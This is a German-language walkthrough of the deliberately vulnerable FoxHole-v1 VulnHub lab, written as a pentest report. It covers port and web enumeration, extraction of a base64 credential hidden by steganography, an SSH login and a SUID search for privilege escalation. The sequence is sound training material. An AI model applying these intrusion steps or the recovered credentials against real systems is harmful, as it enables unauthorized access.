FoxHole-v1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
...

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.132 08:00:27:ac:95:c4 PCS Systemtechnik GmbH

Technische Analyse: Der Befehl `arp-scan` wird verwendet, um Hosts im lokalen Netzwerk anhand des ARP-Protokolls zu erkennen. Er sendet ARP-Anfragen an alle Hosts im angegebenen Netzwerkbereich und listet die Antworten auf, die er empfängt. In diesem Fall wird das gesamte lokale Netzwerk gescannt, um Hosts zu identifizieren, die aktiv sind.

Kontextbezogene Bewertung: Das Ergebnis zeigt, dass sich ein Gerät mit der IP-Adresse 192.168.2.132 im Netzwerk befindet. Die MAC-Adresse 08:00:27:ac:95:c4 ist dem Hersteller "PCS Systemtechnik GmbH" zugeordnet. Dies kann ein erster Hinweis auf das Betriebssystem oder die Art des Geräts sein.

Handlungsorientierte Empfehlungen: Der nächste Schritt könnte sein, diesen Host genauer zu untersuchen, z.B. mit einem Port-Scan, um offene Ports und Dienste zu identifizieren. Für den Systemadministrator empfiehlt es sich, unbekannte Geräte im Netzwerk zu identifizieren und zu überwachen.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.132 foxHole1.vln

Technische Analyse: Die `/etc/hosts`-Datei wird verwendet, um Hostnamen zu IP-Adressen aufzulösen. Einträge in dieser Datei überschreiben DNS-Abfragen.

Kontextbezogene Bewertung: Der Eintrag "192.168.2.132 foxHole1.vln" bedeutet, dass der Hostname `foxHole1.vln` auf die IP-Adresse `192.168.2.132` aufgelöst wird. Dies ermöglicht es, die Maschine über ihren Hostnamen anzusprechen, was für die weitere Analyse und Ausnutzung nützlich sein kann.

Handlungsorientierte Empfehlungen: Der Pentester kann nun den Hostnamen `foxHole1.vln` anstelle der IP-Adresse verwenden. Der Systemadministrator sollte die `/etc/hosts`-Datei regelmäßig überprüfen, um sicherzustellen, dass keine unerwünschten oder schädlichen Einträge vorhanden sind.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- \$IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 22:19 CEST
Nmap scan report for foxHole1.vln (192.168.2.132)
Host is up (0.00031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 15:de:6d:52:fd:1e:66:db:12:60:bf:b9:bb:fa:83:07 (RSA)
| 256 18:4c:0a:6f:cc:77:c3:30:ad:8c:c5:0a:74:e0:7c:79 (ECDSA)
|_ 256 23:37:4f:55:2b:13:c5:46:a0:3a:24:e2:95:da:8d:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Photosen — Colorlib Website Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:AC:95:C4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms foxHole1.vln (192.168.2.132)

Technische Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan des Zielsystems durch. Die Optionen umfassen:

  • `-sS`: SYN-Scan (Stealth-Scan)
  • `-sC`: Ausführen von Standard-Scripts zur Service-Erkennung
  • `-sV`: Versionserkennung der Dienste
  • `-A`: Aggressiver Scan (umfasst OS-Erkennung, Versionserkennung, Script-Scanning und Traceroute)
  • `-p-`: Scannt alle 65535 Ports
  • `$IP`: Ziel-IP-Adresse (hier ersetzt durch die Variable $IP)
  • `-Pn`: Behandelt alle Hosts als "up" (überspringt Host-Discovery)
  • `--min-rate 5000`: Sendet mindestens 5000 Pakete pro Sekunde, um den Scan zu beschleunigen

Kontextbezogene Bewertung: Die Ergebnisse zeigen, dass die Ports 22 (SSH) und 80 (HTTP) offen sind. Der SSH-Dienst ist OpenSSH 8.2p1 und der HTTP-Dienst ist Apache httpd 2.4.41. Die MAC-Adresse deutet auf eine virtuelle Maschine von Oracle VirtualBox hin. Das Betriebssystem ist Linux. Diese Informationen sind entscheidend für die Planung weiterer Angriffe.

Handlungsorientierte Empfehlungen: Der Pentester sollte die gefundenen Dienste (SSH und HTTP) auf bekannte Schwachstellen untersuchen. Der Systemadministrator sollte die Software auf dem neuesten Stand halten und unnötige Dienste deaktivieren.

Web Enumeration

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP:          192.168.2.132
+ Target Hostname:    192.168.2.132
+ Target Port:        80
+ Start Time:         2024-10-09 22:19:40 (GMT2)

+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 23af, size: 5aee8ce5af43c, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /admin.html: This might be interesting.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /readme.txt: This might be interesting.
+ /images/: Directory indexing found.
+ 9716 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2024-10-09 22:19:53 (GMT2) (13 seconds)

+ 1 host(s) tested

Technische Analyse: Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Konfigurationsfehler und gefährliche Dateien prüft.

Kontextbezogene Bewertung: Nikto hat mehrere interessante Punkte gefunden:

  • Das Fehlen von `X-Frame-Options` und `X-Content-Type-Options` Headern erhöht das Risiko von Clickjacking- und MIME-Sniffing-Angriffen.
  • Die Offenlegung der internen IP-Adresse über den Location Header ist ein Sicherheitsrisiko.
  • Die Directory Indexing in `/css/` und `/images/` ermöglicht es Angreifern, die Dateistruktur zu erkunden.
  • Die Datei `/readme.txt` könnte sensitive Informationen enthalten.
  • Die verwendete Apache-Version ist veraltet und anfällig für bekannte Schwachstellen.

Handlungsorientierte Empfehlungen: Der Pentester sollte die gefundenen Dateien und Verzeichnisse manuell überprüfen. Der Systemadministrator sollte die fehlenden Header hinzufügen, Directory Indexing deaktivieren und die Apache-Version aktualisieren.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://\$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.132/index.html           (Status: 200) [Size: 9135]
http://192.168.2.132/images               (Status: 301) [Size: 315] [--> http://192.168.2.132/images/]
http://192.168.2.132/about.html           (Status: 200) [Size: 7148]
http://192.168.2.132/main.html            (Status: 200) [Size: 931]
http://192.168.2.132/services.html        (Status: 200) [Size: 9502]
http://192.168.2.132/admin.html           (Status: 200) [Size: 718]
http://192.168.2.132/css                  (Status: 301) [Size: 312] [--> http://192.168.2.132/css/]
http://192.168.2.132/js                   (Status: 301) [Size: 311] [--> http://192.168.2.132/js/]
http://192.168.2.132/readme.txt           (Status: 200) [Size: 410]
http://192.168.2.132/robots.txt           (Status: 200) [Size: 13]
http://192.168.2.132/fonts                (Status: 301) [Size: 314] [--> http://192.168.2.132/fonts/]
http://192.168.2.132/secret.html          (Status: 200) [Size: 490]
http://192.168.2.132/single.html          (Status: 200) [Size: 21767]
http://192.168.2.132/phpmyadmin           (Status: 200) [Size: 98]
============================================================================

Technische Analyse: Gobuster ist ein Tool zum Auffinden von versteckten Dateien und Verzeichnissen auf einem Webserver. In diesem Fall wird eine mittlere Wordlist verwendet, um nach verschiedenen Dateitypen zu suchen.

Kontextbezogene Bewertung: Gobuster hat mehrere interessante Pfade gefunden:

  • `/admin.html`: Dies könnte ein Admin-Panel sein, das weiter untersucht werden sollte.
  • `/readme.txt`: Diese Datei könnte sensitive Informationen enthalten.
  • `/robots.txt`: Diese Datei könnte interessante Informationen über die Struktur der Website enthalten.
  • `/secret.html`: Dies deutet auf eine versteckte Seite hin, die untersucht werden sollte.
  • `/phpmyadmin`: Dies deutet auf die Existenz einer phpMyAdmin-Installation hin, die anfällig für Angriffe sein könnte.

Handlungsorientierte Empfehlungen: Der Pentester sollte alle gefundenen Pfade manuell überprüfen. Der Systemadministrator sollte sicherstellen, dass alle Admin-Panels geschützt sind und phpMyAdmin aktuell ist und nicht öffentlich zugänglich ist.

http://192.168.2.132/robots.txt
/secret.html

Technische Analyse: Die `/robots.txt`-Datei wird verwendet, um Suchmaschinen-Crawlern Anweisungen zu geben, welche Bereiche der Website nicht indiziert werden sollen.

Kontextbezogene Bewertung: Der Eintrag `/secret.html` deutet darauf hin, dass diese Seite versteckt ist und möglicherweise sensitive Informationen enthält.

Handlungsorientierte Empfehlungen: Der Pentester sollte die `/secret.html`-Seite besuchen und untersuchen.

http://192.168.2.132/secret.html
Jebaited There IS a hint somewhere though, keep looking ;3

Technische Analyse: Der Besuch von `/secret.html` zeigt eine Nachricht, die besagt, dass es einen Hinweis gibt.

Kontextbezogene Bewertung: Diese Nachricht deutet darauf hin, dass es weitere versteckte Informationen gibt, die gefunden werden müssen.

Handlungsorientierte Empfehlungen: Der Pentester sollte weiterhin die Website nach Hinweisen durchsuchen.

view-source:http://192.168.2.132/admin.html

Try harder~ There's no admin panel here~
Maybe take a nice *deep* look at that one purple fox picture? I dunno.

Technische Analyse: Der Quellcode von `/admin.html` enthält einen Hinweis auf ein Bild namens `smug.png` und eine Anspielung auf ein lila Fuchsbild.

Kontextbezogene Bewertung: Dies deutet darauf hin, dass das Bild `purpl3f0x.jpg` genauer untersucht werden sollte.

Handlungsorientierte Empfehlungen: Der Pentester sollte das Bild `purpl3f0x.jpg` herunterladen und analysieren.

http://192.168.2.132/admin.html
Technologies
Upload a list of websites to get a report of the technologies in use,
such as CMS or ecommerce platforms.
Upload a list

Technische Analyse: Die Seite `/admin.html` bietet die Möglichkeit, eine Liste von Websites hochzuladen, um einen Bericht über verwendete Technologien zu erhalten.

Kontextbezogene Bewertung: Dies könnte eine Möglichkeit sein, Informationen über das System zu sammeln oder potenziell Schwachstellen auszunutzen.

Handlungsorientierte Empfehlungen: Der Pentester könnte versuchen, eine präparierte Liste hochzuladen, um zu sehen, ob dies zu weiteren Informationen oder Schwachstellen führt.

http://192.168.2.132/main.html
Colorlib logo
Thank you for using our template!

For more awesome templates please visit Colorlib.

Copyright information for the template can't be altered/removed unless you purchase a license.

Removing copyright information without the license will result in suspension of your hosting and/or domain name(s).

More information about the license is available here.

Technische Analyse: Die Seite `/main.html` enthält Copyright-Informationen über die verwendete Vorlage von Colorlib.

Kontextbezogene Bewertung: Dies deutet darauf hin, dass die Website eine vorgefertigte Vorlage verwendet, was möglicherweise Rückschlüsse auf die allgemeine Sicherheitslage des Systems zulässt.

Handlungsorientierte Empfehlungen: Der Pentester sollte prüfen, ob die verwendete Vorlage bekannte Schwachstellen aufweist.

Initial Access

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.132/images/purpl3f0x.jpg
--2024-10-09 22:47:59--  http://192.168.2.132/images/purpl3f0x.jpg
Verbindungsaufbau zu 192.168.2.132:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 30705 (30K) [image/jpeg]
Wird in purpl3f0x.jpg gespeichert.

purpl3f0x.jpg           100%[===================>]  29,99K  --.-KB/s    in 0s

2024-10-09 22:47:59 (1,45 GB/s) - purpl3f0x.jpg gespeichert [30705/30705]

Technische Analyse: Der Befehl `wget` wird verwendet, um eine Datei von einem Webserver herunterzuladen.

Kontextbezogene Bewertung: Das Bild `purpl3f0x.jpg` wurde erfolgreich heruntergeladen, um es weiter zu analysieren.

Handlungsorientierte Empfehlungen: Der Pentester sollte das heruntergeladene Bild auf versteckte Informationen untersuchen.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url "http://192.168.2.132" --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv,.phtml -s 200 301 302
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.2.132
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/big.txt
 👌  Status Codes          │ [200, 301, 302]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      471l     1605w    17144c http://192.168.2.132/css/bootstrap-datepicker.css
200      GET        2l      220w    25983c http://192.168.2.132/css/aos.css
200      GET      654l     2076w    21738c http://192.168.2.132/css/jquery-ui.css
200      GET        2l       72w    12597c http://192.168.2.132/js/jquery.stellar.min.js
200      GET     1245l     3832w    37655c http://192.168.2.132/css/style.css
200      GET        8l       58w     2777c http://192.168.2.132/js/jquery.mousewheel.min.js
200      GET      351l      795w     6950c http://192.168.2.132/css/magnific-popup.css
200      GET      294l      637w     7009c http://192.168.2.132/js/main.js
200      GET        6l       64w     2936c http://192.168.2.132/css/owl.carousel.min.css
200      GET        4l      212w    20216c http://192.168.2.132/js/jquery.magnific-popup.min.js
200      GET        4l      135w     7707c http://192.168.2.132/js/picturefill.min.js
200      GET        7l      279w    42766c http://192.168.2.132/js/owl.carousel.min.js
200      GET        5l      516w    49750c http://192.168.2.132/js/lightgallery-all.min.js
200      GET        5l      363w    20336c http://192.168.2.132/js/popper.min.js
200      GET      291l     1614w    21767c http://192.168.2.132/single.html
200      GET        2l      284w    14244c http://192.168.2.132/js/aos.js
200      GET     1735l     6360w    45799c http://192.168.2.132/js/jquery-ui.js
200      GET      250l      538w     9135c http://192.168.2.132/index.html
200      GET        9l      378w    34172c http://192.168.2.132/js/bootstrap-datepicker.min.js
200      GET       44l      104w     1236c http://192.168.2.132/fonts/flaticon/font/flaticon.css
200      GET      215l     1394w    11421c http://192.168.2.132/js/jquery-migrate-3.0.1.min.js
200      GET       15l       51w      965c http://192.168.2.132/css/owl.theme.default.min.css
200      GET       22l      253w     5339c http://192.168.2.132/js/jquery.countdown.min.js
200      GET      197l      437w     7148c http://192.168.2.132/about.html 18l     1532w    22259c http://192.168.2.132/css/swiper.css
200      GET        1l      621w    20473c http://192.168.2.132/css/lightgallery.min.css
200      GET      628l     3554w   280545c http://192.168.2.132/images/img_6.jpg
200      GET        7l      579w    51039c http://192.168.2.132/js/bootstrap.min.js
200      GET        1l        1w    79548c http://192.168.2.132/css/bootstrap.min.css.map
200      GET       12l      193w    19777c http://192.168.2.132/css/swiper.min.css
200      GET        2l     1283w    86926c http://192.168.2.132/js/jquery-3.3.1.min.js
200      GET       13l     1195w   124740c http://192.168.2.132/js/swiper.min.js
200      GET        1l        1w      892c http://192.168.2.132/fonts/flaticon/backup.txt
200      GET       12l     1933w   152469c http://192.168.2.132/js/mediaelement-and-player.min.js
200      GET      648l     3460w   293229c http://192.168.2.132/images/img_5.jpg
200      GET      322l     1811w   154994c http://192.168.2.132/images/person_6.jpg
200      GET       75l      580w    57855c http://192.168.2.132/images/php.png
200      GET      575l     3692w   296438c http://192.168.2.132/images/img_1.jpg
200      GET       12l       97w     5934c http://192.168.2.132/fonts/flaticon/font/Flaticon.woff
200      GET       72l      258w     5345c http://192.168.2.132/fonts/flaticon/font/Flaticon.ttf
200      GET       72l      261w     5531c http://192.168.2.132/fonts/flaticon/font/Flaticon.eot
200      GET      859l     4852w   400989c http://192.168.2.132/images/img_3.jpg
200      GET       51l      112w     1464c http://192.168.2.132/fonts/flaticon/font/_flaticon.scss
200      GET      493l     2760w   194588c http://192.168.2.132/images/nature_small_8.jpg
200      GET     1005l     6527w   476081c http://192.168.2.132/images/img_2.jpg
200      GET      646l     3071w   266582c http://192.168.2.132/images/img_4.jpg
200      GET      485l     1144w    18894c http://192.168.2.132/fonts/flaticon/font/flaticon.html
200      GET      137l     2327w    24074c http://192.168.2.132/fonts/flaticon/font/Flaticon.svg
200      GET      982l     2728w    24876c http://192.168.2.132/css/lightgallery.css
200      GET      773l     1572w    15886c http://192.168.2.132/css/mediaelementplayer.css
200      GET       61l      265w    23617c http://192.168.2.132/images/smug.png
200      GET        1l      248w    42863c http://192.168.2.132/js/slick.min.js
200      GET      128l      732w    54254c http://192.168.2.132/images/purpl3f0x.jpg
200      GET     7354l    19344w   197055c http://192.168.2.132/css/bootstrap.min.css
200      GET       84l      556w    46914c http://192.168.2.132/images/x.png
200      GET       47l      629w     8855c http://192.168.2.132/fonts/lg/lg.svg
200      GET       19l      153w     4756c http://192.168.2.132/fonts/lg/lg.ttf
200      GET      187l     1525w   108930c http://192.168.2.132/images/person_4.jpg
200      GET       99l      538w    51752c http://192.168.2.132/images/person_3.jpg
200      GET      881l     5500w   422920c http://192.168.2.132/images/hero_bg_2.jpg
200      GET      622l     2618w   222724c http://192.168.2.132/images/nature_small_1.jpg
200      GET     1789l     8364w   664089c http://192.168.2.132/images/img_7.jpg
200      GET      250l      538w     9135c http://192.168.2.132/
200      GET      182l     1041w    76264c http://192.168.2.132/images/person_1.jpg
200      GET      332l     1587w   187946c http://192.168.2.132/images/foxy1.jpeg
200      GET      209l     1672w   132116c http://192.168.2.132/images/big-images/nature_big_3.jpg
200      GET      305l     1758w   138209c http://192.168.2.132/images/person_2.jpg
200      GET      149l     1202w    94583c http://192.168.2.132/images/nature_small_3.jpg
200      GET      656l     3512w   275969c http://192.168.2.132/images/nature_small_5.jpg
200      GET      369l     1663w   172393c http://192.168.2.132/images/foxy.jpeg
200      GET      805l     4793w   361352c http://192.168.2.132/images/big-images/nature_big_8.jpg
200      GET      706l     5036w   369959c http://192.168.2.132/images/big-images/nature_big_1.jpg
200      GET      764l     4476w   342433c http://192.168.2.132/images/big-images/nature_big_7.jpg
200      GET      983l     6496w   580340c http://192.168.2.132/images/hero_bg_3.jpg
200      GET     1071l     5568w   440188c http://192.168.2.132/images/big-images/nature_big_9.jpg
200      GET      386l     2169w   153984c http://192.168.2.132/images/person_5.jpg
200      GET      981l     4932w   378825c http://192.168.2.132/images/big-images/nature_big_4.jpg
200      GET     1069l     5522w   442408c http://192.168.2.132/images/big-images/nature_big_5.jpg
200      GET      466l     2542w   211339c http://192.168.2.132/images/nature_small_7.jpg
200      GET      465l     3071w   256440c http://192.168.2.132/images/nature_small_4.jpg
200      GET     1173l     6180w   500315c http://192.168.2.132/images/big-images/nature_big_6.jpg
200      GET     1126l     6879w   638385c http://192.168.2.132/images/nature_small_2.jpg
200      GET      666l     3470w   277939c http://192.168.2.132/images/nature_small_9.jpg
200      GET     1370l     7089w   561765c http://192.168.2.132/images/big-images/nature_big_2.jpg
200      GET     1104l     8953w   612528c http://192.168.2.132/images/hero_bg_1.jpg
200      GET      701l     4067w   317386c http://192.168.2.132/images/nature_small_6.jpg
200      GET       78l      104w      718c http://192.168.2.132/admin.html
301      GET        9l       28w      312c http://192.168.2.132/css => http://192.168.2.132/css/
301      GET        9l       28w      314c http://192.168.2.132/fonts => http://192.168.2.132/fonts/
301      GET        9l       28w      315c http://192.168.2.132/images => http://192.168.2.132/images/
301      GET        9l       28w      311c http://192.168.2.132/js => http://192.168.2.132/js/
200      GET       17l       76w      931c http://192.168.2.132/main.html
200      GET        7l       10w       98c http://192.168.2.132/phpmyadmin
200      GET        8l       51w      410c http://192.168.2.132/readme.txt
200      GET        1l        1w       13c http://192.168.2.132/robots.txt
200      GET       53l       67w      490c http://192.168.2.132/secret.html
200      GET      227l      613w     9502c http://192.168.2.132/services.html
[] - 38s   578620/578620  0s      found:97      errors:490
[] - 37s   573664/573664  15414/s http://192.168.2.132/
[] - 0s    573664/573664  6995902/s http://192.168.2.132/js/ => Directory listing
[] - 0s    573664/573664  1629727/s http://192.168.2.132/images/ => Directory listing
[] - 0s    573664/573664  26075636/s http://192.168.2.132/fonts/ => Directory listing
[] - 0s    573664/573664  18505290/s http://192.168.2.132/fonts/flaticon/ => Directory listing
[] - 0s    573664/573664  4945379/s http://192.168.2.132/css/ => Directory listing
[] - 0s    573664/573664  13991805/s http://192.168.2.132/fonts/flaticon/font/ => Directory listing
[] - 0s    573664/573664  5975667/s http://192.168.2.132/fonts/lg/ => Directory listing
[] - 0s    573664/573664  19781517/s http://192.168.2.132/fonts/flaticon/license/ => Directory listing
[] - 0s    573664/573664  2240875/s http://192.168.2.132/images/big-images/ => Directory listing

Technische Analyse: Feroxbuster ist ein weiteres Tool zum Auffinden von versteckten Dateien und Verzeichnissen. Hier wird es mit einer großen Wordlist und verschiedenen Dateiendungen verwendet.

Kontextbezogene Bewertung: Feroxbuster hat eine große Anzahl von Dateien und Verzeichnissen gefunden, darunter CSS-, JavaScript- und Bilddateien. Besonders interessant sind die Directory Listings, da sie Einblick in die Dateistruktur geben.

Handlungsorientierte Empfehlungen: Der Pentester sollte die gefundenen Directory Listings und interessanten Dateien überprüfen. Der Systemadministrator sollte Directory Listing deaktivieren.

┌──(root㉿CCat)-[~]
└─# steghide --extract -sf foxy1.jpeg
Passwort eingeben:

Technische Analyse: Steghide ist ein Tool zum Verstecken von Daten in Bildern. Hier wird versucht, Daten aus dem Bild `foxy1.jpeg` zu extrahieren.

Kontextbezogene Bewertung: Das System fragt nach einem Passwort, was darauf hindeutet, dass das Bild mit einem Passwort geschützt ist.

Handlungsorientierte Empfehlungen: Der Pentester sollte versuchen, das Passwort zu finden oder zu erraten.

┌──(root㉿CCat)-[~]
└─# stegseek foxy1.jpeg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "msg.txt".
[i] Extracting to "foxy1.jpeg.out".

Technische Analyse: Stegseek ist ein Tool zum Knacken von Passwörtern für Steganografie-Dateien. Hier wird versucht, das Passwort für `foxy1.jpeg` mit der Wordlist `rockyou.txt` zu knacken.

Kontextbezogene Bewertung: Das Tool hat das Passwort erfolgreich gefunden (in diesem Fall ist es leer) und die Datei "msg.txt" extrahiert.

Handlungsorientierte Empfehlungen: Der Pentester sollte die extrahierte Datei "msg.txt" untersuchen.

┌──(root㉿CCat)-[~]
└─# steghide --extract -sf foxy1.jpeg
Passwort eingeben: << einfach enter drücken, kein passwort gesetzt Extrahierte Daten wurden nach "msg.txt" geschrieben.

Technische Analyse: Hier wird Steghide erneut verwendet, um Daten aus `foxy1.jpeg` zu extrahieren, wobei kein Passwort eingegeben wird (einfach Enter gedrückt).

Kontextbezogene Bewertung: Die Daten wurden erfolgreich in die Datei "msg.txt" extrahiert.

Handlungsorientierte Empfehlungen: Der Pentester sollte den Inhalt von "msg.txt" anzeigen.

┌──(root㉿CCat)-[~]
└─# cat msg.txt
WTB1M3NjYXAzZFRoM0YweEgwbGUhClVzZXJuYW1lIGlzIGZveCA7Mw

Technische Analyse: Der Befehl `cat` wird verwendet, um den Inhalt einer Datei anzuzeigen.

Kontextbezogene Bewertung: Die Datei "msg.txt" enthält eine Base64-kodierte Zeichenkette.

Handlungsorientierte Empfehlungen: Der Pentester sollte die Base64-Zeichenkette dekodieren.

┌──(root㉿CCat)-[~]
└─# cat msg.txt | base64 -d
Y0u3scap3dTh3F0xH0le! Username is fox ;3

Technische Analyse: Der Befehl `base64 -d` wird verwendet, um eine Base64-kodierte Zeichenkette zu dekodieren.

Kontextbezogene Bewertung: Die dekodierte Zeichenkette enthält ein Passwort (`Y0u3scap3dTh3F0xH0le!`) und einen Benutzernamen (`fox`).

Handlungsorientierte Empfehlungen: Der Pentester sollte versuchen, sich mit diesen Anmeldeinformationen anzumelden.

Last login: Wed ct 9 14:01:58 2024 from 192.168.2.199 fox@FoxHole$ passwd
Changing password for fox.
Current password:
New password:
Retype new password:
You must choose a longer password
New password:
Retype new password:
passwd: password updated successfully

Technische Analyse: Der Befehl `passwd` wird verwendet, um das Passwort eines Benutzers zu ändern.

Kontextbezogene Bewertung: Hier wird das Passwort für den Benutzer "fox" geändert.

Handlungsorientierte Empfehlungen: Der Pentester hat das Passwort erfolgreich geändert.

┌──(root㉿CCat)-[~]
└─# ssh fox@192.168.2.132
The authenticity of host '192.168.2.132 (192.168.2.132)' can't be established.
ED25519 key fingerprint is SHA256:Rm2f273lnPEJLx3YgNDWBN20k3xpMgYGce2VnFNjMEQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.132' (ED25519) to the list of known hosts.
fox@192.168.2.132's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-47-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


304 updates can be installed immediately.
112 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Thu Sep 10 14:05:53 2020

Technische Analyse: Der Befehl `ssh` wird verwendet, um eine sichere Verbindung zu einem Remote-Host herzustellen.

Kontextbezogene Bewertung: Der Pentester hat sich erfolgreich mit dem Benutzernamen "fox" und dem geänderten Passwort per SSH angemeldet.

Handlungsorientierte Empfehlungen: Der Pentester hat nun Zugriff auf das System als Benutzer "fox". Der nächste Schritt ist die Privilege Escalation.

fox@FoxHole$ id
uid=1000(fox) gid=1000(fox) groups=1000(fox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

Technische Analyse: Der Befehl `id` zeigt die Benutzer- und Gruppeninformationen des aktuellen Benutzers an.

Kontextbezogene Bewertung: Der Benutzer "fox" gehört zu mehreren Gruppen, darunter "sudo". Dies könnte eine Möglichkeit zur Privilege Escalation sein.

Handlungsorientierte Empfehlungen: Der Pentester sollte die Gruppenmitgliedschaften des Benutzers "fox" ausnutzen, um Root-Rechte zu erlangen.

fox@FoxHole$ ls ..
fox

Technische Analyse: Der Befehl `ls ..` listet den Inhalt des übergeordneten Verzeichnisses auf.

Kontextbezogene Bewertung: Das Ergebnis zeigt, dass sich im übergeordneten Verzeichnis nur das Verzeichnis "fox" befindet.

Handlungsorientierte Empfehlungen: Dies gibt keine direkten Hinweise auf Privilege Escalation.

fox@FoxHole$ find / -type f -perm -4000 -ls 2>/dev/null
   538340     16 -rwsrwxr-x   1 root     root        15880 Sep  9  2020 /home/fox/GiveMeRootPlz
      293    133 -rwsr-xr-x   1 root     root       135960 Apr 24 09:45 /snap/snapd/21759/usr/lib/snapd/snap-confine
       56     43 -rwsr-xr-x   1 root     root        43088 Mar  5  2020 /snap/core18/1885/bin/mount
       65     63 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /snap/core18/1885/bin/ping
       81     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /snap/core18/1885/bin/su
       99     27 -rwsr-xr-x   1 root     root        26696 Mar  5  2020 /snap/core18/1885/bin/umount
     1698     75 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /snap/core18/1885/usr/bin/chfn
     1700     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /snap/core18/1885/usr/bin/chsh
     1752     75 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /snap/core18/1885/usr/bin/gpasswd
     1816     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /snap/core18/1885/usr/bin/newgrp
     1828     59 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /snap/core18/1885/usr/bin/passwd
     1919    146 -rwsr-xr-x   1 root     root       149080 Jan 31  2020 /snap/core18/1885/usr/bin/sudo
     2006     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 11  2020 /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2314    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
       55     43 -rwsr-xr-x   1 root     root               43088 Jan  8  2020 /snap/core18/1705/bin/mount
